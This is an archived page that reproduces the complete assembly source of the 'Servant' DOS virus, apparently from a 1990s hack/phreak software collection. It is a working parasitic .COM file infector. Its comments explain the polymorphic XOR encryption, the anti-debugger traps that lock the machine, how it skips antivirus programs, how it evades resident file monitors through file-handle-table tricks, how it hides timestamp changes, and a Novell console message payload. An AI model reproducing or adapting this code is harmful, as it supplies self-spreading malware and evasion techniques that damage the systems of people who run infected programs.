home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / S.ZIP / SERVANT.ZIP / SERVANT.ASM next >
Assembly Source File  |  1995-05-23  |  14KB  |  295 lines
  1. ;
  2. ; Servant Virus by John Tardy / TridenT
  3. ;
  4. ; Virus Name:  Servant
  5. ; Aliases:
  6. ; V Status:    Released
  7. ; Discovery:   Not (yet)
  8. ; Symptoms:    .COM growth, message on Novell File server
  9. ; Origin:      The Netherlands
  10. ; Eff Length:  444 Bytes
  11. ; Type Code:   PNC - Parasitic Non-Resident .COM Infector
  12. ; Detection Method:
  13. ; Removal Instructions: Delete infected files
  14. ;
  15. ; General Comments:
  16. ;       The Servant virus is not yet submitted to any antiviral authority. It
  17. ;       is from The Netherlands. Servant is a non-resident infector of .COM
  18. ;       files, but a program name beginning with CA, VA, GU, CO, 4D, VS or
  19. ;       TB will not be infected. Servant infected programs will have a file
  20. ;       length increase of 444 Bytes. The virus will be located at the end
  21. ;       of the infected file. There will be no change in the file's date and
  22. ;       time in a DOS directory listing.
  23.  
  24. Version         Equ 1                           ; Initial release.
  25.  
  26.                 Org 0h                          ; Creates a .BIN file.
  27.  
  28. ; This piece of code is located at the begin of the file
  29.  
  30. Start:          Jmp MainVir                     ; Jump to the main virus.
  31.  
  32.                 Db '*'                          ; Infection marker.
  33.  
  34. ; This will be appended to the victim
  35.  
  36. MainVir:        Lea Si,Decr                     ; This is the decryptor, which
  37. DecrOfs         Equ $-2                         ; is mutated from the main
  38.                 Mov Cx,DecrLen                  ; virus. It uses a simple xor
  39. Decrypt:        Xor B [Si],0                    ; algorithm. It uses three
  40. DecVal          Equ $-1                         ; different index regs, Si, Di
  41. Incer:          Inc Si                          ; or Bx. The Xor OpCode can be
  42. LoopType:       Loop Decrypt                    ; 80h or 82h and it's Loop or
  43. MainLen         Equ $-Mainvir                   ; LoopNz.
  44.  
  45. ; From here everything is encrypted
  46.  
  47. Decr:           Call On1                        ; Get Offset of the appended
  48. On1:            Pop BP                          ; virus by pushing the call on
  49.                 Sub BP,On1                      ; the stack and retrieve the
  50.                                                 ; address.
  51.  
  52.                 Mov W TrapIt[Bp],KillDebug      ; This routine restores the
  53.                 Lea Si,OrgPrg[Bp]               ; beginning of the original
  54. TrapIt          Equ $-2                         ; file, except when run from
  55.                 Mov Di,100h                     ; a debugger. It will then
  56.                 Push Di                         ; put the routine at
  57.                 Push Ax                         ; KillDebug in place of that,
  58.                 Movsw                           ; this locking the system
  59.                 Movsw                           ; after infection and
  60.                 Lea Dx,OrgPrg[Bp]               ; confusing TBCLEAN.
  61.                 Mov W TrapIt[Bp],OrgPrg         ;
  62.  
  63.                 Mov Ah,19h                      ; We don't want to infect
  64.                 Int 21h                         ; programs on floppy drive,
  65.                 Cmp Al,2                        ; we then go to NoHD.
  66.                 Jb NoHD                         ;
  67.  
  68.                 Mov Ah,1ah                      ; Use a new DTA.
  69.                 Mov Dx,0fd00h                   ;
  70.                 Int 21h                         ;
  71.  
  72.                 In Al,21h                       ; This makes DOS DEBUG to
  73.                 Or Al,2                         ; hang and thus making
  74.                 Out 21h,Al                      ; beginning virus-researchers
  75.                 Xor Al,2                        ; a hard time.
  76.                 Out 21h,Al                      ;
  77.  
  78.                 Mov Ah,4eh                      ; Search a .COM file in the
  79. Search:         Lea Dx,FileSpec[BP]             ; current directory.
  80.                 Xor Cx,Cx                       ;
  81.                 Int 21h                         ;
  82.  
  83.                 Jnc  Found                      ; If found, goto found,
  84. NoHD:           Jmp Ready                       ; else goto ready.
  85.  
  86. KillDebug:      Cli                             ; The routine that will be
  87.                 Jmp KillDebug                   ; activated by the antidebug
  88.                                                 ; part.
  89.  
  90. ; Here follows a table of filenames to avoid with infecting.
  91.  
  92. Tabel           Db 'CA'                         ; Catcher (Gobbler).
  93.                 Db 'VA'                         ; Validate (McAfee).
  94.                 Db 'GU'                         ; Guard (Dr. Solomon).
  95.                 Db 'CO'                         ; Command.Com (Microsoft).
  96.                 Db '4D'                         ; 4Dos (JP Software).
  97.                 Db 'VS'                         ; VSafe (CPav).
  98.                 Db 'TB'                         ; TbDel (Esass).
  99. TabLen          Equ $-Tabel
  100.  
  101.  
  102. Found:          Mov Bx,[0fd1eh]                 ; This routine checks if
  103.                 Lea Si,Tabel[Bp]                ; the candidate file begins
  104.                 Mov Cx,TabLen/2                 ; with the chars in the table
  105. ChkNam:         Lodsw                           ; above. If so, it goes to
  106.                 Cmp Ax,Bx                       ; SearchNext.
  107.                 Je SearchNext                   ;
  108.                 Loop ChkNam                     ;
  109.  
  110.                 mov dx,0fd1eh                   ; Open the file with only
  111.                 Mov Ax,3d00h                    ; read access.
  112.                 Int 21h                         ;
  113.  
  114.                 Xchg Ax,Bx                      ; Put Filehandle to BX.
  115.  
  116.                 Mov Ah,45h                      ; Duplicate Filehandle and
  117.                 Int 21h                         ; use the new one (confuses
  118.                 Xchg Ax,Bx                      ; some resident monitoring
  119.                                                 ; software (TBFILE)).
  120.  
  121.                 mov Ax,1220h                    ; This is a tricky routine
  122.                 push bx                         ; used to get the offset
  123.                 int 2fh                         ; to the File Handle Table,
  124.                 mov bl,es:[di]                  ; where we can change
  125.                 Mov Ax,1216h                    ; directly some things.
  126.                 int 2fh                         ;
  127.                 pop bx                          ;
  128.                 mov ds,es                       ;
  129.  
  130.                 mov byte ptr [di+2],2           ; File now open with write
  131.                                                 ; access.
  132.  
  133.                 mov al,b [di+4]                 ; Store old file attributes
  134.                 mov b [di+4],0                  ; and clear it.
  135.                 push ax                         ;
  136.  
  137.                 push ds                         ; Store FHT on the stack.
  138.                 push di                         ;
  139.  
  140.                 mov ds,cs                       ; Restore old Ds and Es
  141.                 mov es,cs                       ; (with .COM equal to Cs).
  142.  
  143.                 Mov Ah,3fh                      ; Read the first 4 bytes
  144.                 Lea Dx,OrgPrg[BP]               ; to OrgPrg (Bp indexed
  145.                 Mov Cx,4                        ; (the call remember?)).
  146.                 Int 21h                         ;
  147.  
  148.                 Mov Ax,OrgPrg[BP]               ; Check if it is a renamed
  149.                 Cmp Ax,'ZM'                     ; .EXE file. If so, goto
  150.                 Je ExeFile                      ; ExeFile.
  151.                 Cmp Ax,'MZ'                     ;
  152.                 Je ExeFile                      ;
  153.  
  154.                 Cmp B OrgPrg[3][Bp],'*'         ; Check if already infected.
  155.  
  156.                 Jne Infect                      ; If not so, goto Infect.
  157.  
  158. ExeFile:        Call Close                      ; Call file close routine.
  159.  
  160. SearchNext:     Mov Ah,4fh                      ; And search the next victim.
  161.                 Jmp Search                      ;
  162.  
  163. Infect:         Mov Ax,4202h                    ; Jump to EOF.
  164.                 Cwd                             ;
  165.                 Xor Cx,Cx                       ;
  166.                 Int 21h                         ;
  167.  
  168.                 Sub Ax,3                        ; Calculate the Jump and the
  169.                 Mov CallPtr[BP+1],Ax            ; decryptor offset values.
  170.                 Add Ax,(Offset Decr+0ffh)       ;
  171.                 Mov DecrOfs[Bp],Ax              ;
  172.  
  173.                 Call EncryptIt                  ; Call Encryption engine.
  174.  
  175.                 Mov Ah,40h                      ; Write the decoder to the
  176.                 Lea Dx,MainVir[Bp]              ; end of the file.
  177.                 Mov Cx,MainLen                  ;
  178.                 Int 21h                         ;
  179.  
  180.                 Mov Ah,40h                      ; And append the encrypted
  181.                 Lea Dx,EndOfVir[BP]             ; main virus body to it
  182.                 Mov Cx,DecrLen                  ; also.
  183.                 Int 21h                         ;
  184.  
  185.                 Mov Ax,4200h                    ; Jump to the beginning of
  186.                 Cwd                             ; the file.
  187.                 Xor Cx,Cx                       ;
  188.                 Int 21h                         ;
  189.  
  190.                 Mov Ah,40h                      ; And write the jump to the
  191.                 Lea Dx,CallPtr[BP]              ; over the first 4 bytes of
  192.                 Mov Cx,4                        ; the file.
  193.                 Int 21h                         ;
  194.  
  195.                 Call Close                      ; Call close routine.
  196.  
  197. Ready:          Mov Ah,1ah                      ; Restore the DTA.
  198.                 Mov Dx,80h                      ;
  199.                 Int 21h                         ;
  200.  
  201.                 Pop Ax                          ; Restore error register.
  202.  
  203.                 Ret                             ; Return to host (at 100h).
  204.  
  205. Close:          Pop Si
  206.  
  207.                 pop di                          ; Restore FHT offset again.
  208.                 pop ds                          ;
  209.  
  210.                 or b [di+6],40h                 ; Do not change file date/time
  211.                                                 ; stamps.
  212.  
  213.                 pop ax                          ; Restore file attributes.
  214.                 mov b [di+4],al                 ;
  215.  
  216.                 Mov Ah,3eh                      ; Close file.
  217.                 Int 21h                         ;
  218.  
  219.                 mov ds,cs                       ; Restore Ds segment.
  220.  
  221.                 Push Si
  222.                 Ret
  223.  
  224. CallPtr         Db 0e9h,0,0                     ; Here the jump is generated.
  225.  
  226. FileSpec        Db '*.CoM',0                    ; FileSpec + Infection Marker.
  227.  
  228. OrgPrg:         Int 20h                         ; Original 4 bytes of the
  229.                 Nop                             ; host program.
  230.                 Nop                             ;
  231.  
  232. EncryptIt:      Xor Ax,Ax                       ; Get timer tick (seen as a
  233.                 Mov Ds,Ax                       ; random value).
  234.                 Mov Ah,B Ds:[046ch]             ;
  235.  
  236.                 Mov Ds,Cs                       ; If Ah is not zero, goto
  237.                 Cmp Ah,0                        ; GenKey.
  238.                 Jne GenKey                      ;
  239.  
  240.                 Lea Si,NovMsg[Bp]               ; This function will send a
  241.                 Lea Di,EndOfVir[Bp]             ; message to the Novell
  242.                 Mov Ah,0e1h                     ; Server CONSOLE!!!
  243.                 Int 21h                         ;
  244.  
  245. GenKey:         Mov B DecVal[Bp],Ah             ; Encrypt the virus body
  246.                 Lea Si,Decr[Bp]                 ; to the address just at the
  247.                 Lea Di,EndOfVir[Bp]             ; end of the virus.
  248.                 Mov Cx,DecrLen                  ;
  249. Encrypt:        Lodsb                           ;
  250.                 Xor Al,Ah                       ;
  251.                 Stosb                           ;
  252.                 Loop Encrypt                    ;
  253.  
  254.                 Xor B Decrypt[Bp],2             ; Make the Xor variable.
  255.  
  256.                 Test Ah,4                       ; Make the Loop variable
  257.                 Jc NoGarble                     ; (xor works like a switch
  258.                 Xor B LoopType[Bp],2            ; for 80h/82h or 0e0h/0e2h).
  259.  
  260.                 Xchg Ah,Al                      ; Read the different
  261.                 And Ax,0003h                    ; Si, Di, Bx instructions
  262.                 Mov Si,Ax                       ; from the table and store
  263.                 Add Si,PolyTable                ; them into the decrytor, thus
  264.                 Add Si,Bp                       ; making it recognizable only
  265.                 Lodsb                           ; at 4 bytes. (or nibble
  266.                 Mov B MainVir[Bp],Al            ; checking is usable).
  267.                 Add Si,3                        ;
  268.                 Lodsb                           ;
  269.                 Mov B Decrypt[Bp+1],Al          ;
  270.                 Add Si,3                        ;
  271.                 Lodsb                           ;
  272.                 Mov B Incer[Bp],Al              ;
  273.  
  274. NoGarble:       Ret                             ; Return to called
  275.  
  276. NovMsg          Dw FuncLen                      ; The Novell packet to
  277. Func            Db 09h                          ; send. This sends my name
  278.                 Db MsgLen                       ; to the fileserver, making
  279. Msg             Db 'John Tardy / TridenT'       ; the supervisor hysterical!
  280. MsgLen          Equ $-Msg                       ;
  281. FuncLen         Equ $-Func                      ;
  282.  
  283. ; Table with functions for polymorphing
  284.  
  285. PolyTable       Equ $
  286.                 Db 0beh,0bfh,0bbh,0beh          ; Mov Si,Di,Bx,Si
  287.                 Db 034h,035h,037h,034h          ; Xor Si,Di,Bx,Si
  288.                 Db 046h,047h,043h,046h          ; Inc Si,Di,Bx,Si
  289.  
  290.                 DB Version                      ; Virus version number
  291.  
  292. DecrLen         Equ $-Decr
  293.  
  294. EndOfVir        Equ $
  295.